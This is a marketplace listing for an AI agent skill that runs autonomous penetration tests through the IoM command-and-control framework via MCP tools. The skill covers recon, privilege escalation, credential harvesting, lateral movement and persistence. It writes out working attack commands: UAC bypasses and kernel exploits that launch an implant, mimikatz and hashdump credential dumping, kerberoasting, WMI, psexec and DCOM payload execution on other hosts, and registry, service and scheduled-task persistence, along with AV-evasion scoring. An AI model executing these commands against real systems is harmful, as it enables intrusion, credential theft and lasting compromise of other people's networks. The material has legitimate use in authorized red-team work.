# Iom Pentest En

> Autonomous penetration testing through IoM C2 MCP tools. Covers the full engagement lifecycle: situational summary, reconnaissance, privilege escalation, credential harvesting, lateral movement, and persistence. Operates in an OODA loop — each phase analyzes results before deciding the next action. Use this skill whenever the user wants to run automated pentest, red team assessment, privilege escalation analysis, post-exploitation, or any offensive operation through IoM — even if they just mention "pentest", "privesc", "lateral", "recon", "credentials", "persistence", "summary", or "red team".

- Skill: `chainreactors/iom-pentest-en` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add chainreactors/iom-pentest-en`
- Raw SKILL.md: https://api.skillmd.com/api/skills/chainreactors/iom-pentest-en/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: chainreactors (https://skillmd.com/u/chainreactors)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/chainreactors/iom-pentest-en

---


# IoM Automated Penetration Test

Autonomous penetration testing via IoM MCP tools. Core principle: **OODA Loop** — Observe, Orient, Decide, Act — adapting to the target environment at every phase.

## Arguments

`$ARGUMENTS` accepts any combination of **phase keywords** and **session IDs** (space-separated):

### Phase Keywords

| Keyword | Phase | Confirmation Required | Description |
|---------|-------|-----------------------|-------------|
| `summary` | Global overview | No | Bird's-eye view of all sessions |
| `recon` | Phase 1: Situational Awareness | No (read-only) | Detailed recon per session |
| `privesc` | Phase 2: Privilege Escalation | **Yes** | Privilege escalation |
| `creds` | Phase 3: Credential Harvesting | **Yes** | Credential harvesting |
| `lateral` | Phase 4: Lateral Movement | **Yes** | Lateral movement |
| `persist` | Phase 5: Persistence | **Yes** | Establish persistence |
<!-- | `cleanup` | Cleanup artifacts | **Yes** | Revert persistence, delete temp files, rev2self (not yet implemented) | -->

### Session Targeting

Values that are **not keywords** are treated as session ID prefixes:

| Usage | Meaning |
|-------|---------|
| No session specified | Operate on **all alive sessions** |
| `4d24a3` | Only this session |
| `4d24a3 bd608a` | These two sessions |

### Usage Examples

```
/iom-pentest-en summary                          # Global overview
/iom-pentest-en recon                            # Recon all alive sessions
/iom-pentest-en recon 4d24a3 bd608a              # Recon specific sessions
/iom-pentest-en recon privesc bd608a             # Recon + privesc on specific session
/iom-pentest-en creds 7a0c97                     # Harvest creds from admin session
/iom-pentest-en privesc creds lateral            # Multi-phase combo (all sessions)
/iom-pentest-en                                  # Default = summary
```

## Confirmation Mechanism

**Critical rule: `summary` and `recon` execute directly; all other phases must present a plan and wait for user approval.**

### summary / recon (no confirmation)
Execute directly, output analysis report.

### privesc / creds / lateral / persist (requires confirmation)

Workflow:
1. Complete recon first (if not already done)
2. **Analyze environment**, list available attack paths and recommendations
3. **Present execution plan**, ask user to confirm
4. Execute after user confirms
5. Verify result, report success/failure
6. On failure, **ask again** whether to try the next option

## Core Principles

1. **Analyze before acting** — never execute blindly; adapt strategy based on findings
2. **OPSEC first** — identify defenses before running anything noisy. See [reference/opsec-guide.md](reference/opsec-guide.md)
3. **Pivot on failure** — if a technique gets blocked, mark it and try another path; never retry the same technique
4. **Minimum footprint** — prefer BOF over execute_assembly, prefer in-memory over on-disk
5. **Never act without approval** — all phases except summary/recon require user confirmation
6. **OPSEC score rules** — every technique has an OPSEC safety score (1-10, higher = safer):
   - **≥ 8**: Safe, proceed normally
   - **6-8**: Medium risk, **flag the risk level** in the execution plan
   - **< 6**: High risk, **must explicitly warn the user**, explain the risk and suggest safer alternatives; only execute after explicit approval

### OPSEC Score Reference

| Score Range | Risk | Typical Commands | Handling |
|------------|------|-----------------|----------|
| 9.0+ | Minimal | enum/recon, hashdump, klist | Execute normally |
| 8.0-8.9 | Low | BOF UAC bypass, bof-execute_assembly, Potato privesc | Execute normally |
| 7.0-7.9 | Medium | Kernel exploits (ms14/15/16), mimikatz, wmi/dcom lateral, PS UAC bypass | Flag risk |
| < 7.0 | High | logonpasswords (5.9) | **Must warn + wait for approval** |

## MCP Tool Usage

All operations go through `mcp__iom__execute_command`:

- **Switch session**: `use <session_id_prefix>` — enter implant context
- **Implant commands**: after switching, run `sysinfo`, `whoami`, `ps`, etc.
- **Client commands**: `session`, `listener`, `pipeline list`, etc. — no session context needed
- **Task results**: execute_command automatically waits and returns results

> Refer to MCP tool help for command usage. Key notes:
> - BOF-based UAC bypass (elevatedcom/sspi/colordataproxy/registryshell) uses **positional arguments**
> - Flag-based UAC bypass (silentcleanup/editionupgrade) uses `--command` flag
> - See [reference/technique-reference.md](reference/technique-reference.md)

## Phase Overview

```
Summary: Global Situational Overview                  [summary]  Auto-execute
    ↓ Understand the landscape, choose targets
Phase 1: Situational Awareness                        [recon]    Auto-execute
    ↓ Checkpoint: Who am I? What can I do? What defenses?
Phase 2: Privilege Escalation                         [privesc]  Needs confirmation
    ↓ Checkpoint: Did we get elevated access?
Phase 3: Credential Harvesting                        [creds]    Needs confirmation
    ↓ Checkpoint: What credentials? Where to use them?
Phase 4: Lateral Movement                             [lateral]  Needs confirmation
    ↓ Checkpoint: New foothold? Repeat Phase 1
Phase 5: Persistence                                  [persist]  Needs confirmation
    ↓ Checkpoint: Will we survive a reboot?
```

---

## Summary: Global Situational Overview [summary]

**No confirmation needed. No session targeting required.** Bird's-eye view of the engagement.

Execute:

```
session              # alive sessions
session --all        # all sessions (including offline)
listener             # listener status
pipeline list        # pipeline status
```

**Output requirements** (structured tables):

### 1. Infrastructure status
List listener/pipeline health.

### 2. Host inventory (grouped by host)
Group sessions from the same host:

```
| Host | IP | Sessions | Highest Priv | AV | Status |
|------|-----|----------|-------------|-----|--------|
```

### 3. Session details

```
| ID | Host | User | Privilege | Process/PID | Heartbeat | Status |
|----|------|------|-----------|------------|-----------|--------|
```

Markers: `★` = admin, `⚠` = stale heartbeat, dim = redundant low-priv session on same host.

### 4. Network topology analysis
Analyze subnet relationships, potential host/VM relationships based on IPs.

### 5. Recommended next steps
Based on current situation: which sessions need privesc, which hosts are high-value, which sessions are redundant, recommended attack path.

---

## Phase 1: Situational Awareness [recon]

**No confirmation needed. Supports batch sessions.**

### Single session

```
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
```

### Batch sessions

Execute the above for each target session, then output a **comparison report**:

```
## Batch Recon Report (N sessions)

### Comparison Matrix
| Dimension | session1 (host1) | session2 (host2) | ... |
|-----------|------------------|------------------|-----|
| Privilege | High ★ | Medium | ... |
| Admin grp | ✅ | ✅ | ... |
| AV | Huorong | Defender | ... |
| Domain | WORKGROUP | CONTOSO | ... |
| Subnet | 192.168.86.0/24 | 10.0.0.0/24 | ... |

### Per-Session Recommendations
- session1: already admin → skip to creds
- session2: Medium + Admin group → privesc viable, watch out for Defender
- session3: same host low-priv → can ignore (session1 is sufficient)
```

---

## Phase 2: Privilege Escalation [privesc]

**Requires confirmation. Only meaningful for non-admin sessions.**

For multiple sessions: analyze each separately, present per-session plans. Skip sessions already admin.

Full reference: [reference/technique-reference.md](reference/technique-reference.md).

### 2.1 UAC Bypass (Administrators group + Medium integrity, OPSEC 8.0-8.5)

```
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
```

### 2.2 Token/Potato (SeImpersonatePrivilege, OPSEC 8.0)

```
elevate SweetPotato
elevate EfsPotato
```

### 2.3 Kernel Exploits (outdated patches, OPSEC 7.0)

| OS Version | Exploit |
|------------|---------|
| Win10 1903/1909 | `elevate cve-2020-0796` |
| Win7/8.1/2008R2/2012 | `elevate ms15-051`, `elevate ms14-058` |

**After execution**: `session` to check for new `★` sessions. On failure, ask user to try next option.

---

## Phase 3: Credential Harvesting [creds]

**Requires confirmation. Prefer highest-privilege session.**

For multiple sessions: prioritize admin sessions. Non-admin can only run credman/autologon.

```
hashdump                                          # OPSEC 9.0
logonpasswords                                    # OPSEC 5.9 ⚠️
credman                                           # OPSEC 9.0
autologon                                         # OPSEC 9.0
mimikatz privilege::debug sekurlsa::logonpasswords # OPSEC 7.0
```

Domain environment:

```
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
domain kerberoast
klist
```

---

## Phase 4: Lateral Movement [lateral]

**Requires confirmation.**

### 4.1 Network Discovery (auto-execute)

```
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
```

### 4.2 Present lateral movement plan with OPSEC scores

```
move wmi-proccreate --target <ip> --command "C:\payload.exe"   # OPSEC 7.0
move psexec --host <ip> --service MySvc --path /local/file     # OPSEC 9.0
move dcom --target <ip> --cmd "C:\payload.exe"                 # OPSEC 7.5
```

**Checkpoint**: `session` to confirm new session, then **return to Phase 1** for new target.

---

## Phase 5: Persistence [persist]

**Requires confirmation. Per-session plans for multiple targets.**

Administrator:

```
persistence Registry_Key --artifact_name <name>
persistence Install_Service --artifact_name <name>
persistence Scheduled_Task --artifact_name <name>
```

Standard user:

```
persistence startup_folder --use_malefic_as_custom_file
persistence reg_key
```

**Verify**: check registry/service/task after installation.

---

## Output Report

```markdown
## Penetration Test Report
**Date**: YYYY-MM-DD HH:MM
**Scope**: $ARGUMENTS
**Phases Executed**: [list]
**Target Sessions**: [list]

### Attack Path
initial → [technique] → elevated → [credential] → lateral

### Sessions
| Session | Host | User | Privilege | Method |
|---------|------|------|-----------|--------|

### Credentials
| Type | User | Domain | Source |
|------|------|--------|--------|

### Techniques
| Phase | MITRE ID | Technique | OPSEC | Result | Notes |
|-------|----------|-----------|-------|--------|-------|

### Defensive Gaps
[What allowed the attack to succeed]
```

## Reference Docs

| Topic | Reference File |
|-------|---------------|
| OPSEC & AV evasion | [reference/opsec-guide.md](reference/opsec-guide.md) |
| Privesc / lateral / persistence quick-ref | [reference/technique-reference.md](reference/technique-reference.md) |

$ARGUMENTS